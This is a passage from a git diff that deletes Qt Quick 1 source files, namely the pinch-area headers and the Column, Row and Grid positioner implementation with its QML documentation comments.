-QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1Pinch) -QML_DECLARE_TYPE(QDeclarative1PinchEvent) -QML_DECLARE_TYPE(QDeclarative1PinchArea) - -QT_END_HEADER - -#endif // QDECLARATIVEPINCHAREA_H diff --git a/src/qtquick1/graphicsitems/qdeclarativepincharea_p_p.h b/src/qtquick1/graphicsitems/qdeclarativepincharea_p_p.h deleted file mode 100644 index 2e679e5464..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativepincharea_p_p.h +++ /dev/null @@ -1,115 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEPINCHAREA_P_H -#define QDECLARATIVEPINCHAREA_P_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include -#include -#include -#include -#include "qdeclarativeitem_p.h" - -QT_BEGIN_NAMESPACE - -class QDeclarative1Pinch; -class QDeclarative1PinchAreaPrivate : public QDeclarativeItemPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1PinchArea) -public: - QDeclarative1PinchAreaPrivate() - : absorb(true), stealMouse(false), inPinch(false) - , pinchRejected(false), pinchActivated(false) - , pinch(0), pinchStartDist(0), pinchStartScale(1.0) - , pinchLastScale(1.0), pinchStartRotation(0.0), pinchStartAngle(0.0) - , pinchLastAngle(0.0), pinchRotation(0.0) - { - } - - ~QDeclarative1PinchAreaPrivate(); - - void init() - { - Q_Q(QDeclarative1PinchArea); - q->setAcceptedMouseButtons(Qt::LeftButton); - q->setAcceptTouchEvents(true); - q->setFiltersChildEvents(true); - } - - bool absorb : 1; - bool stealMouse : 1; - bool inPinch : 1; - bool pinchRejected : 1; - bool pinchActivated : 1; - QDeclarative1Pinch *pinch; - QPointF sceneStartPoint1; - QPointF sceneStartPoint2; - QPointF lastPoint1; - QPointF lastPoint2; - qreal pinchStartDist; - qreal pinchStartScale; - qreal pinchLastScale; - qreal pinchStartRotation; - qreal pinchStartAngle; - qreal pinchLastAngle; - qreal pinchRotation; - QPointF sceneStartCenter; - QPointF pinchStartCenter; - QPointF sceneLastCenter; - QPointF pinchStartPos; - QList touchPoints; - int id1; -}; - -QT_END_NAMESPACE - -#endif // QDECLARATIVEPINCHAREA_P_H diff --git a/src/qtquick1/graphicsitems/qdeclarativepositioners.cpp b/src/qtquick1/graphicsitems/qdeclarativepositioners.cpp deleted file mode 100644 index 1a7d86f00a..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativepositioners.cpp +++ /dev/null @@ -1,1400 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativepositioners_p.h" -#include "QtQuick1/private/qdeclarativepositioners_p_p.h" - -#include -#include -#include -#include -#include -#include - -#include -#include - -QT_BEGIN_NAMESPACE - - - -static const QDeclarativeItemPrivate::ChangeTypes watchedChanges - = QDeclarativeItemPrivate::Geometry - | QDeclarativeItemPrivate::SiblingOrder - | QDeclarativeItemPrivate::Visibility - | QDeclarativeItemPrivate::Opacity - | QDeclarativeItemPrivate::Destroyed; - -void QDeclarative1BasePositionerPrivate::watchChanges(QGraphicsObject *other) -{ - if (QGraphicsItemPrivate::get(other)->isDeclarativeItem) { - QDeclarativeItemPrivate *otherPrivate = static_cast(QGraphicsItemPrivate::get(other)); - otherPrivate->addItemChangeListener(this, watchedChanges); - } else { - Q_Q(QDeclarative1BasePositioner); - QObject::connect(other, SIGNAL(widthChanged()), q, SLOT(graphicsWidgetGeometryChanged())); - QObject::connect(other, SIGNAL(heightChanged()), q, SLOT(graphicsWidgetGeometryChanged())); - QObject::connect(other, SIGNAL(opacityChanged()), q, SLOT(graphicsWidgetGeometryChanged())); - QObject::connect(other, SIGNAL(visibleChanged()), q, SLOT(graphicsWidgetGeometryChanged())); - } -} - -void QDeclarative1BasePositionerPrivate::unwatchChanges(QGraphicsObject* other) -{ - if (QGraphicsItemPrivate::get(other)->isDeclarativeItem) { - QDeclarativeItemPrivate *otherPrivate = static_cast(QGraphicsItemPrivate::get(other)); - otherPrivate->removeItemChangeListener(this, watchedChanges); - } else { - Q_Q(QDeclarative1BasePositioner); - QObject::disconnect(other, SIGNAL(widthChanged()), q, SLOT(graphicsWidgetGeometryChanged())); - QObject::disconnect(other, SIGNAL(heightChanged()), q, SLOT(graphicsWidgetGeometryChanged())); - QObject::disconnect(other, SIGNAL(opacityChanged()), q, SLOT(graphicsWidgetGeometryChanged())); - QObject::disconnect(other, SIGNAL(visibleChanged()), q, SLOT(graphicsWidgetGeometryChanged())); - } -} - -void QDeclarative1BasePositioner::graphicsWidgetGeometryChanged() -{ - prePositioning(); -} - -/*! - \internal - \class QDeclarative1BasePositioner - \brief The QDeclarative1BasePositioner class provides a base for QDeclarative1Graphics layouts. - - To create a QDeclarative1Graphics Positioner, simply subclass QDeclarative1BasePositioner and implement - doLayout(), which is automatically called when the layout might need - updating. In doLayout() use the setX and setY functions from QDeclarative1BasePositioner, and the - base class will apply the positions along with the appropriate transitions. The items to - position are provided in order as the protected member positionedItems. - - You also need to set a PositionerType, to declare whether you are positioning the x, y or both - for the child items. Depending on the chosen type, only x or y changes will be applied. - - Note that the subclass is responsible for adding the spacing in between items. -*/ -QDeclarative1BasePositioner::QDeclarative1BasePositioner(PositionerType at, QDeclarativeItem *parent) - : QDeclarative1ImplicitSizeItem(*(new QDeclarative1BasePositionerPrivate), parent) -{ - Q_D(QDeclarative1BasePositioner); - d->init(at); -} - -QDeclarative1BasePositioner::QDeclarative1BasePositioner(QDeclarative1BasePositionerPrivate &dd, PositionerType at, QDeclarativeItem *parent) - : QDeclarative1ImplicitSizeItem(dd, parent) -{ - Q_D(QDeclarative1BasePositioner); - d->init(at); -} - -QDeclarative1BasePositioner::~QDeclarative1BasePositioner() -{ - Q_D(QDeclarative1BasePositioner); - for (int i = 0; i < positionedItems.count(); ++i) - d->unwatchChanges(positionedItems.at(i).item); - positionedItems.clear(); -} - -int QDeclarative1BasePositioner::spacing() const -{ - Q_D(const QDeclarative1BasePositioner); - return d->spacing; -} - -void QDeclarative1BasePositioner::setSpacing(int s) -{ - Q_D(QDeclarative1BasePositioner); - if (s==d->spacing) - return; - d->spacing = s; - prePositioning(); - emit spacingChanged(); -} - -QDeclarative1Transition *QDeclarative1BasePositioner::move() const -{ - Q_D(const QDeclarative1BasePositioner); - return d->moveTransition; -} - -void QDeclarative1BasePositioner::setMove(QDeclarative1Transition *mt) -{ - Q_D(QDeclarative1BasePositioner); - if (mt == d->moveTransition) - return; - d->moveTransition = mt; - emit moveChanged(); -} - -QDeclarative1Transition *QDeclarative1BasePositioner::add() const -{ - Q_D(const QDeclarative1BasePositioner); - return d->addTransition; -} - -void QDeclarative1BasePositioner::setAdd(QDeclarative1Transition *add) -{ - Q_D(QDeclarative1BasePositioner); - if (add == d->addTransition) - return; - - d->addTransition = add; - emit addChanged(); -} - -void QDeclarative1BasePositioner::componentComplete() -{ - Q_D(QDeclarative1BasePositioner); - QDeclarativeItem::componentComplete(); - positionedItems.reserve(d->QGraphicsItemPrivate::children.count()); - prePositioning(); - reportConflictingAnchors(); -} - -QVariant QDeclarative1BasePositioner::itemChange(GraphicsItemChange change, - const QVariant &value) -{ - Q_D(QDeclarative1BasePositioner); - if (change == ItemChildAddedChange){ - QGraphicsItem* item = value.value(); - QGraphicsObject* child = 0; - if(item) - child = item->toGraphicsObject(); - if (child) - prePositioning(); - } else if (change == ItemChildRemovedChange) { - QGraphicsItem* item = value.value(); - QGraphicsObject* child = 0; - if(item) - child = item->toGraphicsObject(); - if (child) { - QDeclarative1BasePositioner::PositionedItem posItem(child); - int idx = positionedItems.find(posItem); - if (idx >= 0) { - d->unwatchChanges(child); - positionedItems.remove(idx); - } - prePositioning(); - } - } - return QDeclarativeItem::itemChange(change, value); -} - -void QDeclarative1BasePositioner::prePositioning() -{ - Q_D(QDeclarative1BasePositioner); - if (!isComponentComplete()) - return; - - if (d->doingPositioning) - return; - - d->queuedPositioning = false; - d->doingPositioning = true; - //Need to order children by creation order modified by stacking order - QList children = d->QGraphicsItemPrivate::children; - qSort(children.begin(), children.end(), d->insertionOrder); - - QPODVector oldItems; - positionedItems.copyAndClear(oldItems); - for (int ii = 0; ii < children.count(); ++ii) { - QGraphicsObject *child = children.at(ii)->toGraphicsObject(); - if (!child) - continue; - QGraphicsItemPrivate *childPrivate = static_cast(QGraphicsItemPrivate::get(child)); - PositionedItem *item = 0; - PositionedItem posItem(child); - int wIdx = oldItems.find(posItem); - if (wIdx < 0) { - d->watchChanges(child); - positionedItems.append(posItem); - item = &positionedItems[positionedItems.count()-1]; - item->isNew = true; - if (child->opacity() <= 0.0 || childPrivate->explicitlyHidden || !childPrivate->width() || !childPrivate->height()) - item->isVisible = false; - } else { - item = &oldItems[wIdx]; - // Items are only omitted from positioning if they are explicitly hidden - // i.e. their positioning is not affected if an ancestor is hidden. - if (child->opacity() <= 0.0 || childPrivate->explicitlyHidden || !childPrivate->width() || !childPrivate->height()) { - item->isVisible = false; - } else if (!item->isVisible) { - item->isVisible = true; - item->isNew = true; - } else { - item->isNew = false; - } - positionedItems.append(*item); - } - } - QSizeF contentSize; - doPositioning(&contentSize); - if(d->addTransition || d->moveTransition) - finishApplyTransitions(); - d->doingPositioning = false; - //Set implicit size to the size of its children - setImplicitHeight(contentSize.height()); - setImplicitWidth(contentSize.width()); -} - -void QDeclarative1BasePositioner::positionX(int x, const PositionedItem &target) -{ - Q_D(QDeclarative1BasePositioner); - if(d->type == Horizontal || d->type == Both){ - if (target.isNew) { - if (!d->addTransition) - target.item->setX(x); - else - d->addActions << QDeclarative1Action(target.item, QLatin1String("x"), QVariant(x)); - } else if (x != target.item->x()) { - if (!d->moveTransition) - target.item->setX(x); - else - d->moveActions << QDeclarative1Action(target.item, QLatin1String("x"), QVariant(x)); - } - } -} - -void QDeclarative1BasePositioner::positionY(int y, const PositionedItem &target) -{ - Q_D(QDeclarative1BasePositioner); - if(d->type == Vertical || d->type == Both){ - if (target.isNew) { - if (!d->addTransition) - target.item->setY(y); - else - d->addActions << QDeclarative1Action(target.item, QLatin1String("y"), QVariant(y)); - } else if (y != target.item->y()) { - if (!d->moveTransition) - target.item->setY(y); - else - d->moveActions << QDeclarative1Action(target.item, QLatin1String("y"), QVariant(y)); - } - } -} - -void QDeclarative1BasePositioner::finishApplyTransitions() -{ - Q_D(QDeclarative1BasePositioner); - // Note that if a transition is not set the transition manager will - // apply the changes directly, in the case add/move aren't set - d->addTransitionManager.transition(d->addActions, d->addTransition); - d->moveTransitionManager.transition(d->moveActions, d->moveTransition); - d->addActions.clear(); - d->moveActions.clear(); -} - -/*! - \qmlclass Column QDeclarative1Column - \inqmlmodule QtQuick 1 - \ingroup qml-positioning-elements - \since QtQuick 1.0 - \brief The Column item arranges its children vertically. - \inherits Item - - The Column item positions its child items so that they are vertically - aligned and not overlapping. - - Spacing between items can be added using the \l spacing property. - Transitions can be used for cases where items managed by a Column are - added or moved. These are stored in the \l add and \l move properties - respectively. - - See \l{Using QML Positioner and Repeater Items} for more details about this item and other - related items. - - \section1 Example Usage - - The following example positions differently shaped rectangles using a Column - item. - - \image verticalpositioner_example.png - - \snippet doc/src/snippets/qtquick1/column/vertical-positioner.qml document - - \section1 Using Transitions - - Transitions can be used to animate items that are added to, moved within, - or removed from a Column item. The \l add and \l move properties can be set to - the transitions that will be applied when items are added to, removed from, - or re-positioned within a Column item. - - The use of transitions with positioners is described in more detail in the - \l{Using QML Positioner and Repeater Items#Using Transitions}{Using QML - Positioner and Repeater Items} document. - - \image verticalpositioner_transition.gif - - \qml - Column { - spacing: 2 - add: Transition { - // Define an animation for adding a new item... - } - move: Transition { - // Define an animation for moving items within the column... - } - // ... - } - \endqml - - \section1 Limitations - - Note that the positioner assumes that the x and y positions of its children - will not change. If you manually change the x or y properties in script, bind - the x or y properties, use anchors on a child of a positioner, or have the - height of a child depend on the position of a child, then the - positioner may exhibit strange behavior. If you need to perform any of these - actions, consider positioning the items without the use of a Column. - - Items with a width or height of 0 will not be positioned. - - \sa Row, Grid, Flow, {declarative/positioners}{Positioners example} -*/ -/*! - \qmlproperty Transition QtQuick1::Column::add - - This property holds the transition to be applied when adding an - item to the positioner. The transition will only be applied to the - added item(s). Positioner transitions will only affect the - position (x, y) of items. - - For a positioner, adding an item can mean that either the object - has been created or reparented, and thus is now a child or the - positioner, or that the object has had its opacity increased from - zero, and thus is now visible. - - \sa move -*/ -/*! - \qmlproperty Transition QtQuick1::Column::move - - This property holds the transition to apply when moving an item - within the positioner. Positioner transitions will only affect - the position (x, y) of items. - - This transition can be performed when other items are added or removed - from the positioner, or when items resize themselves. - - \image positioner-move.gif - - \qml - Column { - move: Transition { - NumberAnimation { - properties: "y" - duration: 1000 - } - } - } - \endqml - - \sa add, {declarative/positioners}{Positioners example} -*/ -/*! - \qmlproperty int QtQuick1::Column::spacing - - The spacing is the amount in pixels left empty between adjacent - items. The default spacing is 0. - - \sa Grid::spacing -*/ -QDeclarative1Column::QDeclarative1Column(QDeclarativeItem *parent) -: QDeclarative1BasePositioner(Vertical, parent) -{ -} - -void QDeclarative1Column::doPositioning(QSizeF *contentSize) -{ - int voffset = 0; - - for (int ii = 0; ii < positionedItems.count(); ++ii) { - const PositionedItem &child = positionedItems.at(ii); - if (!child.item || !child.isVisible) - continue; - - if(child.item->y() != voffset) - positionY(voffset, child); - - contentSize->setWidth(qMax(contentSize->width(), QGraphicsItemPrivate::get(child.item)->width())); - - voffset += QGraphicsItemPrivate::get(child.item)->height(); - voffset += spacing(); - } - - contentSize->setHeight(voffset - spacing()); -} - -void QDeclarative1Column::reportConflictingAnchors() -{ - QDeclarative1BasePositionerPrivate *d = static_cast(QDeclarative1BasePositionerPrivate::get(this)); - for (int ii = 0; ii < positionedItems.count(); ++ii) { - const PositionedItem &child = positionedItems.at(ii); - if (child.item && QGraphicsItemPrivate::get(child.item)->isDeclarativeItem) { - QDeclarative1Anchors *anchors = QDeclarativeItemPrivate::get(static_cast(child.item))->_anchors; - if (anchors) { - QDeclarative1Anchors::Anchors usedAnchors = anchors->usedAnchors(); - if (usedAnchors & QDeclarative1Anchors::TopAnchor || - usedAnchors & QDeclarative1Anchors::BottomAnchor || - usedAnchors & QDeclarative1Anchors::VCenterAnchor || - anchors->fill() || anchors->centerIn()) { - d->anchorConflict = true; - break; - } - } - } - } - if (d->anchorConflict) { - qmlInfo(this) << "Cannot specify top, bottom, verticalCenter, fill or centerIn anchors for items inside Column"; - } -} - -/*! - \qmlclass Row QDeclarative1Row - \inqmlmodule QtQuick 1 - \ingroup qml-positioning-elements - \since QtQuick 1.0 - \brief The Row item arranges its children horizontally. - \inherits Item - - The Row item positions its child items so that they are horizontally - aligned and not overlapping. - - Use \l spacing to set the spacing between items in a Row, and use the - \l add and \l move properties to set the transitions that should be applied - when items are added to, removed from, or re-positioned within the Row. - - See \l{Using QML Positioner and Repeater Items} for more details about this item and other - related items. - - \section1 Example Usage - - The following example lays out differently shaped rectangles using a Row. - - \image horizontalpositioner_example.png - - \snippet doc/src/snippets/qtquick1/row/row.qml document - - \section1 Using Transitions - - Transitions can be used to animate items that are added to, moved within, - or removed from a Grid item. The \l add and \l move properties can be set to - the transitions that will be applied when items are added to, removed from, - or re-positioned within a Row item. - - \section1 Limitations - - Note that the positioner assumes that the x and y positions of its children - will not change. If you manually change the x or y properties in script, bind - the x or y properties, use anchors on a child of a positioner, or have the - width of a child depend on the position of a child, then the - positioner may exhibit strange behaviour. If you need to perform any of these - actions, consider positioning the items without the use of a Row. - - Items with a width or height of 0 will not be positioned. - - \sa Column, Grid, Flow, {declarative/positioners}{Positioners example} -*/ -/*! - \qmlproperty Transition QtQuick1::Row::add - - This property holds the transition to be applied when adding an - item to the positioner. The transition will only be applied to the - added item(s). Positioner transitions will only affect the - position (x, y) of items. - - For a positioner, adding an item can mean that either the object - has been created or reparented, and thus is now a child or the - positioner, or that the object has had its opacity increased from - zero, and thus is now visible. - - \sa move -*/ -/*! - \qmlproperty Transition QtQuick1::Row::move - - This property holds the transition to be applied when moving an - item within the positioner. Positioner transitions will only affect - the position (x, y) of items. - - This transition can be performed when other items are added or removed - from the positioner, or when items resize themselves. - - \qml - Row { - id: positioner - move: Transition { - NumberAnimation { - properties: "x" - duration: 1000 - } - } - } - \endqml - - \sa add, {declarative/positioners}{Positioners example} -*/ -/*! - \qmlproperty int QtQuick1::Row::spacing - - The spacing is the amount in pixels left empty between adjacent - items. The default spacing is 0. - - \sa Grid::spacing -*/ -QDeclarative1Row::QDeclarative1Row(QDeclarativeItem *parent) -: QDeclarative1BasePositioner(Horizontal, parent) -{ -} - -/*! - \qmlproperty enumeration QtQuick1::Row::layoutDirection - \since Quick 1.1 - - This property holds the layoutDirection of the row. - - Possible values: - - \list - \o Qt.LeftToRight (default) - Items are laid out from left to right. If the width of the row is explicitly set, - the left anchor remains to the left of the row. - \o Qt.RightToLeft - Items are laid out from right to left. If the width of the row is explicitly set, - the right anchor remains to the right of the row. - \endlist - - \sa Grid::layoutDirection, Flow::layoutDirection, {declarative/righttoleft/layoutdirection}{Layout directions example} -*/ -Qt::LayoutDirection QDeclarative1Row::layoutDirection() const -{ - return QDeclarative1BasePositionerPrivate::getLayoutDirection(this); -} - -void QDeclarative1Row::setLayoutDirection(Qt::LayoutDirection layoutDirection) -{ - QDeclarative1BasePositionerPrivate *d = static_cast(QDeclarative1BasePositionerPrivate::get(this)); - if (d->layoutDirection != layoutDirection) { - d->layoutDirection = layoutDirection; - // For RTL layout the positioning changes when the width changes. - if (d->layoutDirection == Qt::RightToLeft) - d->addItemChangeListener(d, QDeclarativeItemPrivate::Geometry); - else - d->removeItemChangeListener(d, QDeclarativeItemPrivate::Geometry); - prePositioning(); - emit layoutDirectionChanged(); - emit effectiveLayoutDirectionChanged(); - } -} - -/*! - \qmlproperty enumeration QtQuick1::Row::effectiveLayoutDirection - This property holds the effective layout direction of the row positioner. - - When using the attached property \l {LayoutMirroring::enabled}{LayoutMirroring::enabled} for locale layouts, - the visual layout direction of the row positioner will be mirrored. However, the - property \l {Row::layoutDirection}{layoutDirection} will remain unchanged. - - \sa Row::layoutDirection, {LayoutMirroring}{LayoutMirroring} -*/ - -Qt::LayoutDirection QDeclarative1Row::effectiveLayoutDirection() const -{ - return QDeclarative1BasePositionerPrivate::getEffectiveLayoutDirection(this); -} - -void QDeclarative1Row::doPositioning(QSizeF *contentSize) -{ - QDeclarative1BasePositionerPrivate *d = static_cast(QDeclarative1BasePositionerPrivate::get(this)); - int hoffset = 0; - - QList hoffsets; - for (int ii = 0; ii < positionedItems.count(); ++ii) { - const PositionedItem &child = positionedItems.at(ii); - if (!child.item || !child.isVisible) - continue; - - if(d->isLeftToRight()){ - if(child.item->x() != hoffset) - positionX(hoffset, child); - }else{ - hoffsets << hoffset; - } - - contentSize->setHeight(qMax(contentSize->height(), QGraphicsItemPrivate::get(child.item)->height())); - - hoffset += QGraphicsItemPrivate::get(child.item)->width(); - hoffset += spacing(); - } - - contentSize->setWidth(hoffset - spacing()); - - if(d->isLeftToRight()) - return; - - //Right to Left layout - int end = 0; - if(!widthValid()) - end = contentSize->width(); - else - end = width(); - - int acc = 0; - for (int ii = 0; ii < positionedItems.count(); ++ii) { - const PositionedItem &child = positionedItems.at(ii); - if (!child.item || !child.isVisible) - continue; - hoffset = end - hoffsets[acc++] - QGraphicsItemPrivate::get(child.item)->width(); - if(child.item->x() != hoffset) - positionX(hoffset, child); - } -} - -void QDeclarative1Row::reportConflictingAnchors() -{ - QDeclarative1BasePositionerPrivate *d = static_cast(QDeclarative1BasePositionerPrivate::get(this)); - for (int ii = 0; ii < positionedItems.count(); ++ii) { - const PositionedItem &child = positionedItems.at(ii); - if (child.item && QGraphicsItemPrivate::get(child.item)->isDeclarativeItem) { - QDeclarative1Anchors *anchors = QDeclarativeItemPrivate::get(static_cast(child.item))->_anchors; - if (anchors) { - QDeclarative1Anchors::Anchors usedAnchors = anchors->usedAnchors(); - if (usedAnchors & QDeclarative1Anchors::LeftAnchor || - usedAnchors & QDeclarative1Anchors::RightAnchor || - usedAnchors & QDeclarative1Anchors::HCenterAnchor || - anchors->fill() || anchors->centerIn()) { - d->anchorConflict = true; - break; - } - } - } - } - if (d->anchorConflict) - qmlInfo(this) << "Cannot specify left, right, horizontalCenter, fill or centerIn anchors for items inside Row"; -} - -/*! - \qmlclass Grid QDeclarative1Grid - \inqmlmodule QtQuick 1 - \ingroup qml-positioning-elements - \since QtQuick 1.0 - \brief The Grid item positions its children in a grid. - \inherits Item - - The Grid item positions its child items so that they are - aligned in a grid and are not overlapping. - - The grid positioner calculates a grid of rectangular cells of sufficient - size to hold all items, placing the items in the cells, from left to right - and top to bottom. Each item is positioned in the top-left corner of its - cell with position (0, 0). - - A Grid defaults to four columns, and as many rows as are necessary to - fit all child items. The number of rows and columns can be constrained - by setting the \l rows and \l columns properties. - - Spacing can be added between child items by setting the \l spacing - property. The amount of spacing applied will be the same in the - horizontal and vertical directions. - - See \l{Using QML Positioner and Repeater Items} for more details about this item and other - related items. - - \section1 Example Usage - - The following example demonstrates this. - - \image gridLayout_example.png - - \snippet doc/src/snippets/qtquick1/grid/grid.qml document - - \section1 Using Transitions - - Transitions can be used to animate items that are added to, moved within, - or removed from a Grid item. The \l add and \l move properties can be set to - the transitions that will be applied when items are added to, removed from, - or re-positioned within a Grid item. - - \section1 Limitations - - Note that the positioner assumes that the x and y positions of its children - will not change. If you manually change the x or y properties in script, bind - the x or y properties, use anchors on a child of a positioner, or have the - width or height of a child depend on the position of a child, then the - positioner may exhibit strange behaviour. If you need to perform any of these - actions, consider positioning the items without the use of a Grid. - - Items with a width or height of 0 will not be positioned. - - \sa Flow, Row, Column, {declarative/positioners}{Positioners example} -*/ -/*! - \qmlproperty Transition QtQuick1::Grid::add - - This property holds the transition to be applied when adding an - item to the positioner. The transition will only be applied to the - added item(s). Positioner transitions will only affect the - position (x, y) of items. - - For a positioner, adding an item can mean that either the object - has been created or reparented, and thus is now a child or the - positioner, or that the object has had its opacity increased from - zero, and thus is now visible. - - \sa move -*/ -/*! - \qmlproperty Transition QtQuick1::Grid::move - - This property holds the transition to be applied when moving an - item within the positioner. Positioner transitions will only affect - the position (x, y) of items. - - This transition can be performed when other items are added or removed - from the positioner, or when items resize themselves. - - \qml - Grid { - move: Transition { - NumberAnimation { - properties: "x,y" - duration: 1000 - } - } - } - \endqml - - \sa add, {declarative/positioners}{Positioners example} -*/ -/*! - \qmlproperty int QtQuick1::Grid::spacing - - The spacing is the amount in pixels left empty between adjacent - items. The default spacing is 0. - - The below example places a Grid containing a red, a blue and a - green rectangle on a gray background. The area the grid positioner - occupies is colored white. The positioner on the left has the - no spacing (the default), and the positioner on the right has - a spacing of 6. - - \inlineimage qml-grid-no-spacing.png - \inlineimage qml-grid-spacing.png - - \sa rows, columns -*/ -QDeclarative1Grid::QDeclarative1Grid(QDeclarativeItem *parent) : - QDeclarative1BasePositioner(Both, parent), m_rows(-1), m_columns(-1), m_flow(LeftToRight) -{ -} - -/*! - \qmlproperty int QtQuick1::Grid::columns - - This property holds the number of columns in the grid. The default - number of columns is 4. - - If the grid does not have enough items to fill the specified - number of columns, some columns will be of zero width. -*/ - -/*! - \qmlproperty int QtQuick1::Grid::rows - This property holds the number of rows in the grid. - - If the grid does not have enough items to fill the specified - number of rows, some rows will be of zero width. -*/ - -void QDeclarative1Grid::setColumns(const int columns) -{ - if (columns == m_columns) - return; - m_columns = columns; - prePositioning(); - emit columnsChanged(); -} - -void QDeclarative1Grid::setRows(const int rows) -{ - if (rows == m_rows) - return; - m_rows = rows; - prePositioning(); - emit rowsChanged(); -} - -/*! - \qmlproperty enumeration QtQuick1::Grid::flow - This property holds the flow of the layout. - - Possible values are: - - \list - \o Grid.LeftToRight (default) - Items are positioned next to - each other in the \l layoutDirection, then wrapped to the next line. - \o Grid.TopToBottom - Items are positioned next to each - other from top to bottom, then wrapped to the next column. - \endlist -*/ -QDeclarative1Grid::Flow QDeclarative1Grid::flow() const -{ - return m_flow; -} - -void QDeclarative1Grid::setFlow(Flow flow) -{ - if (m_flow != flow) { - m_flow = flow; - prePositioning(); - emit flowChanged(); - } -} - -/*! - \qmlproperty enumeration QtQuick1::Grid::layoutDirection - \since Quick 1.1 - - This property holds the layout direction of the layout. - - Possible values are: - - \list - \o Qt.LeftToRight (default) - Items are positioned from the top to bottom, - and left to right. The flow direction is dependent on the - \l Grid::flow property. - \o Qt.RightToLeft - Items are positioned from the top to bottom, - and right to left. The flow direction is dependent on the - \l Grid::flow property. - \endlist - - \sa Flow::layoutDirection, Row::layoutDirection, {declarative/righttoleft/layoutdirection}{Layout directions example} -*/ -Qt::LayoutDirection QDeclarative1Grid::layoutDirection() const -{ - return QDeclarative1BasePositionerPrivate::getLayoutDirection(this); -} - -void QDeclarative1Grid::setLayoutDirection(Qt::LayoutDirection layoutDirection) -{ - QDeclarative1BasePositionerPrivate *d = static_cast(QDeclarative1BasePositionerPrivate::get(this)); - if (d->layoutDirection != layoutDirection) { - d->layoutDirection = layoutDirection; - // For RTL layout the positioning changes when the width changes. - if (d->layoutDirection == Qt::RightToLeft) - d->addItemChangeListener(d, QDeclarativeItemPrivate::Geometry); - else - d->removeItemChangeListener(d, QDeclarativeItemPrivate::Geometry); - prePositioning(); - emit layoutDirectionChanged(); - emit effectiveLayoutDirectionChanged(); - } -} - -/*! - \qmlproperty enumeration QtQuick1::Grid::effectiveLayoutDirection - This property holds the effective layout direction of the grid positioner. - - When using the attached property \l {LayoutMirroring::enabled}{LayoutMirroring::enabled} for locale layouts, - the visual layout direction of the grid positioner will be mirrored. However, the - property \l {Grid::layoutDirection}{layoutDirection} will remain unchanged. - - \sa Grid::layoutDirection, {LayoutMirroring}{LayoutMirroring} -*/ - -Qt::LayoutDirection QDeclarative1Grid::effectiveLayoutDirection() const -{ - return QDeclarative1BasePositionerPrivate::getEffectiveLayoutDirection(this); -} - -void QDeclarative1Grid::doPositioning(QSizeF *contentSize) -{ - QDeclarative1BasePositionerPrivate *d = static_cast(QDeclarative1BasePositionerPrivate::get(this)); - int c = m_columns; - int r = m_rows; - //Is allocating the extra QPODVector too much overhead? - QPODVector visibleItems;//we aren't concerned with invisible items - visibleItems.reserve(positionedItems.count()); - for(int i=0; i maxColWidth; - QList maxRowHeight; - int childIndex =0; - if (m_flow == LeftToRight) { - for (int i=0; i < r; i++){ - for (int j=0; j < c; j++){ - if (j==0) - maxRowHeight << 0; - if (i==0) - maxColWidth << 0; - - if (childIndex == visibleItems.count()) - break; - - const PositionedItem &child = visibleItems.at(childIndex++); - QGraphicsItemPrivate *childPrivate = QGraphicsItemPrivate::get(child.item); - if (childPrivate->width() > maxColWidth[j]) - maxColWidth[j] = childPrivate->width(); - if (childPrivate->height() > maxRowHeight[i]) - maxRowHeight[i] = childPrivate->height(); - } - } - } else { - for (int j=0; j < c; j++){ - for (int i=0; i < r; i++){ - if (j==0) - maxRowHeight << 0; - if (i==0) - maxColWidth << 0; - - if (childIndex == visibleItems.count()) - break; - - const PositionedItem &child = visibleItems.at(childIndex++); - QGraphicsItemPrivate *childPrivate = QGraphicsItemPrivate::get(child.item); - if (childPrivate->width() > maxColWidth[j]) - maxColWidth[j] = childPrivate->width(); - if (childPrivate->height() > maxRowHeight[i]) - maxRowHeight[i] = 